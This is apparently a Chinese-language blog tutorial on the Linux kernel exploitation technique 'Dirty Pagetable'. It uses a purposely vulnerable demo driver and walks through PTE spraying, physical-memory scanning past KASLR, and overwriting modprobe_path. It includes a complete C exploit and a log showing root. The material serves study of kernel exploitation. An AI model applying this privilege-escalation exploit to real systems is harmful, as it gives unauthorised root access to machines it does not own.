skip to content
z10 blog

kernel 利用手法 Dirty Pagetable 第一章

/ 12 min read

Table of Contents

核心思想

Linux 用户进程的 pagetable,也是从 page allocator 直接分配的物理页面,和内核的其他普通对象一个来源。如果普通的对象 uaf 了,内存回收后重新分配给 pagetable,可以直接控制 PTE。

__pte_alloc -> pte_alloc_one -> pagetable_alloc_noprof

通过操纵 PTE,把它的物理地址设成 kernel text/data 的物理地址,就能随心所欲地 patch 内核。想要提权的就 patch setresuid()、setresgid() 等系统调用;如果 SELinux 处于启用状态,还要 patch 相关变量禁掉它。

Dirty Pagetable 这种利用手法可以无视很多一些保护

  • KCFI (CONFIG_CFI_CLANG)控制流完整性,在安卓上面默认开。Dirty Pagetable 只改 PTE 数据不劫持控制流,所以 CFI 保护无效。
  • KASLR 虚拟地址随机化。Dirty Pagetable 直接改物理地址。
  • SMAP / SMEP
  • SLAB_VIRTUAL 这个 kernelctf 里面特地加入的保护

写一个最简易 demo 拆解流程

设置一个最小的驱动,提供这样的4个接口,省去了竞争和读写原语的构造

static struct page *dpv_page;
DPV_ALLOC: dpv_page = alloc_page(GFP_KERNEL); // 从 buddy 拿一个 order-0 页
DPV_FREE: __free_pages(dpv_page, 0); // 还给 buddy,但故意不置 NULL
DPV_READ: 返回 *(u64 *)(page_address(dpv_page) + off); // UAF 读
DPV_WRITE: *(u64 *)(page_address(dpv_page) + off) = val; // UAF 写

为页表喷射分配区域

一个 pte 页管理 2MiB 的虚拟地址,我们分配一块 2MiB*256 的内存(起始地址 base),刚好对应 256 个pte页。之后UAF的 pte 页表对应管理的内存就在这个区域里。多预留 2MiB 再对齐,是为了保证 base 是 2MiB 的整数倍:

base = mmap(NULL, (CHUNKS + 1) * CHUNK_SIZE, ...); // CHUNK_SIZE = 2MiB,CHUNKS = 256
base += CHUNK_SIZE - ((uintptr_t)base & (CHUNK_SIZE - 1)); // 对齐到 2MiB

为什么对齐 2MiB?

一个 PTE 页正好管理 2MiB 的虚拟地址(512 个表项 × 4KiB)。对齐后,spray region 可以看成 256 个 2MiB 块依次排列,每个 2MiB 块对应一个将来分配出来的PTE 页,第 `i` 个 2MiB 块的首地址就是 `base + i * 2MiB`,它的 PTE 恰好位于对应 PTE 页的 slot 0。

预触发缺页:先建好上级页表

在布置UAF之前,在2MiB*256内存的两端(第一页和最后一个 2MiB 块的首页)各写入一个字节:

base[0] = 1;
base[CHUNKS * CHUNK_SIZE - CHUNK_SIZE] = 1;

这两次写会触发缺页,内核把这一块区域的 PUD→PMD 这些上级页表全部建好(512MiB 最多跨 2 个 PMD 页,访问两端即可覆盖)。完成后,上级页表就位,之后再缺页就只差最后一级 PTE 页了。这必须在 free 之前完成,因为上级页表和 PTE 页一样从 buddy 拿 order-0 页。

制造 UAF:ALLOC → FREE

ioctl(DPV_ALLOC) 分配 victim 页,ioctl(DPV_FREE) 释放。进程通过 sched_setaffinity 绑在 CPU 0:order-0 的分配和释放都经过同一个 per-CPU pageset,LIFO 顺序保证接下来喷射页表时它是第一批被取走的页。

喷射pte页 往每个 2MiB 块的首页写一个 marker

for (i = 0; i < CHUNKS; i++)
*(uint64_t *)(base + i * CHUNK_SIZE) = 0xdead0000UL + i;

对每个 2MiB 块,这次写触发一次缺页:内核先分配一个 PTE 页(从 buddy 消耗一个 order-0 页——这是本次操作的目标分配),再分配一个数据页存放 marker。marker 写在每个 2MiB 块的 offset=0 位置,它的 PTE 恰好是所在 PTE 页的 **slot 0。**而每个 marker 的值 0xdead0000 + i都不同,可以靠它标识所属的 2MiB 块。

验证回收:UAF 读确认页变成了 PTE 页

uaf_read(0) 读 victim 页前 8 字节。若还是全 0,说明未被分配为页表页;读到的是 pte[0]——一个指向 marker 页的、带 P|RW|USER|A|D(0x67)的表项:

[+] freed page reclaimed as a PTE page, pte[0]=800000007ffdb067

定位 PTE 页和内存的对应关系

喷射了 256 个 PTE 页,不知道 victim 页是哪一个。经典做法要读 /proc/self/pagemap,但是非特权拿不到 PFN。这里用另一种方法:

uaf_write(8, pte0); // 把 slot 1 写成和 slot 0 一样的 PTE → 同一物理页
for (i = 0; i < CHUNKS; i++) {
m0 = *(uint64_t *)(base + i*CHUNK_SIZE); // 块首 marker
m1 = *(uint64_t *)(base + i*CHUNK_SIZE + 0x1000); // 块首+4K
if (m0 && m0 == m1) va_base = base + i*CHUNK_SIZE; // 命中
}

只有 victim PTE 页管辖的那个 2MiB 块,+4K 处才能读到与块首相同的 marker(slot 1 与 slot 0 指向同一物理页);其余块的 +4K 未映射,读到的是 zero page(全 0)。找到后把 slot 1 恢复为 0。

这个方法不受 TLB 影响

slot 1 之前从未映射过(P=0),CPU 没有可缓存的旧翻译,新 PTE 无需 TLB 刷新立即生效。反过来,如果改写一个已存在的映射,陈旧 TLB 项会让访问继续命中旧物理页。

扫描物理内存,定位内核(KASLR 已开启)

此时已有任意物理读原语,但还不知道内核在哪。defconfig 下 CONFIG_RANDOMIZE_BASE=y,内核被解压到随机的 2MiB 对齐物理地址。利用这一点:`linux_banner`(“Linux version 7.2.0 …”)相对内核基址的偏移在编译时固定(本内核 `+0x15998c0`),只需以 2MiB 为步长扫描物理内存比对字符串:

for (p = 0x1000000; p < SCAN_TOP; p += 0x200000) {
if (memcmp(phys_map(p + BANNER_OFF), "Linux version 7.2", 17))
continue;
if (!memcmp(phys_map(p + MODPROBE_OFF), "/sbin/modprobe", 14))
return p; // banner + modprobe 双重验证,排除误匹配
}

2GiB 内存最多 1024 次映射,可在数秒内完成。modprobe_path 的偏移(+0x1d48f60)同样来自 vmlinux,双重验证用于确认找到的是内核本身。

伪造 PTE 把 modprobe_path 所在物理页映射进用户态

为了不被 TLB 缓存影响,phys_map() 每次使用全新的 slot 写入目标物理页的 PTE。512 个 slot 用尽后,对整个 2MiB 范围执行两次 mprotect 让 TLB 里面的缓存失效,然后从头复用。

uaf_write(slot * 8, (phys & ~0xfffUL) | 0x67);
strcpy(phys_map(modprobe), "/tmp/x");

触发

最终日志(dirty_pagetable_demo/final.log,KASLR 开启)

[+] freed page reclaimed as a PTE page, pte[0]=800000007ffdb067
[+] PTE page governs va_base=0x7f3a3dc00000
[+] kernel phys base=72200000 modprobe_path phys=73f48f60
[*] readback via forged mapping: /tmp/x
[+] /proc/sys/kernel/modprobe now reads: /tmp/x
[+] /tmp/pwned: uid=0 gid=0
[+] done

代码

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define DPV_ALLOC _IO('d', 0)
#define DPV_FREE _IO('d', 1)
#define DPV_READ _IOWR('d', 2, struct dpv_rw)
#define DPV_WRITE _IOW('d', 3, struct dpv_rw)
struct dpv_rw {
uint32_t off;
uint64_t val;
};
#define CHUNKS 256 /* 256 x 2MiB = 512MiB of PTE spray */
#define CHUNK_SIZE (2UL << 20)
#define PTE_PRESENT_RW 0x67 /* P | RW | USER | ACCESSED | DIRTY */
#define BANNER_OFF 0x15998c0UL /* linux_banner - _text (from vmlinux) */
#define MODPROBE_OFF 0x1d48f60UL /* modprobe_path - _text */
#define SCAN_TOP (2UL << 30) /* guest RAM size */
static int dpv;
static uint8_t *va_base;
static uint64_t uaf_read(uint32_t off)
{
struct dpv_rw rw = { .off = off };
if (ioctl(dpv, DPV_READ, &rw))
exit(1);
return rw.val;
}
static void uaf_write(uint32_t off, uint64_t val)
{
struct dpv_rw rw = { .off = off, .val = val };
if (ioctl(dpv, DPV_WRITE, &rw))
exit(1);
}
static int slot = 2;
/* Map one physical page through a fresh slot of the hijacked PTE
* page. A never-before-mapped VA can have no stale TLB entry, so no
* flush is needed; when the 512 slots wrap, one mprotect with real
* flag changes flushes the whole 2MiB range before reuse. */
static void *phys_map(uint64_t phys)
{
void *va;
if (slot >= 512) {
mprotect(va_base, CHUNK_SIZE, PROT_READ);
mprotect(va_base, CHUNK_SIZE, PROT_READ | PROT_WRITE);
slot = 2;
}
va = va_base + slot * 0x1000;
uaf_write(slot * 8, (phys & ~0xfffUL) | PTE_PRESENT_RW);
slot++;
return va + (phys & 0xfff);
}
static void phys_unmap_all(void)
{
int i;
for (i = 2; i < slot; i++)
uaf_write(i * 8, 0);
}
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static uint64_t find_kernel_phys(void)
{
for (uint64_t p = 0x1000000; p < SCAN_TOP; p += 0x200000) {
if (memcmp(phys_map(p + BANNER_OFF), "Linux version 7.2", 17))
continue;
if (!memcmp(phys_map(p + MODPROBE_OFF), "/sbin/modprobe", 14))
return p;
printf("[*] banner candidate at %lx rejected (modprobe mismatch)\n", p);
}
return 0;
}
int main(void)
{
cpu_set_t set;
uint8_t *base;
uint64_t pte0, kbase, modprobe;
int i;
CPU_ZERO(&set);
CPU_SET(0, &set);
sched_setaffinity(0, sizeof(set), &set);
setuid(65534);
dpv = open("/dev/dpv", O_RDWR);
if (dpv < 0)
die("open");
base = mmap(NULL, (CHUNKS + 1) * CHUNK_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (base == MAP_FAILED)
die("mmap");
base += CHUNK_SIZE - ((uintptr_t)base & (CHUNK_SIZE - 1));
/* Pre-fault both ends so PMD-and-above tables already exist;
* every order-0 allocation after the free is then a PTE page. */
base[0] = 1;
base[CHUNKS * CHUNK_SIZE - CHUNK_SIZE] = 1;
if (ioctl(dpv, DPV_ALLOC) || ioctl(dpv, DPV_FREE))
die("alloc/free");
for (i = 0; i < CHUNKS; i++)
*(uint64_t *)(base + i * CHUNK_SIZE) = 0xdead0000UL + i;
pte0 = uaf_read(0);
if ((pte0 & PTE_PRESENT_RW) != PTE_PRESENT_RW) {
fprintf(stderr, "[-] page not reclaimed as PTE: %lx\n", pte0);
return 1;
}
printf("[+] freed page reclaimed as a PTE page, pte[0]=%lx\n", pte0);
/* Map slot 1 onto slot 0's page; the chunk whose +4K mirrors
* its marker is the 2MiB region this PTE page governs. */
uaf_write(8, pte0);
for (i = 0; i < CHUNKS; i++) {
uint64_t m0 = *(uint64_t *)(base + i * CHUNK_SIZE);
uint64_t m1 = *(uint64_t *)(base + i * CHUNK_SIZE + 0x1000);
if (m0 && m0 == m1) {
va_base = base + i * CHUNK_SIZE;
break;
}
}
if (!va_base) {
fprintf(stderr, "[-] failed to locate PTE page\n");
return 1;
}
uaf_write(8, 0);
printf("[+] PTE page governs va_base=%p\n", va_base);
kbase = find_kernel_phys();
if (!kbase) {
fprintf(stderr, "[-] kernel image not found\n");
return 1;
}
modprobe = kbase + MODPROBE_OFF;
printf("[+] kernel phys base=%lx modprobe_path phys=%lx\n", kbase, modprobe);
strcpy(phys_map(modprobe), "/tmp/x");
printf("[*] readback via forged mapping: %s\n", (char *)phys_map(modprobe));
phys_unmap_all();
char check[64] = {0};
int s = open("/proc/sys/kernel/modprobe", O_RDONLY);
read(s, check, sizeof(check) - 1);
close(s);
printf("[+] /proc/sys/kernel/modprobe now reads: %s", check);
int f = open("/tmp/x", O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (f < 0)
die("open /tmp/x");
write(f, "#!/bin/sh\nid > /tmp/pwned\n", strlen("#!/bin/sh\nid > /tmp/pwned\n"));
close(f);
/* exec no longer autoloads binfmt modules; an unknown socket
* family still reaches request_module("net-pf-%d") unprivileged. */
syscall(SYS_socket, 42, SOCK_STREAM, 0);
char buf[128] = {0};
f = open("/tmp/pwned", O_RDONLY);
if (f < 0 || read(f, buf, sizeof(buf)) <= 0) {
fprintf(stderr, "[-] modprobe did not fire\n");
return 1;
}
printf("[+] /tmp/pwned: %s", buf);
puts("[+] done");
return 0;
}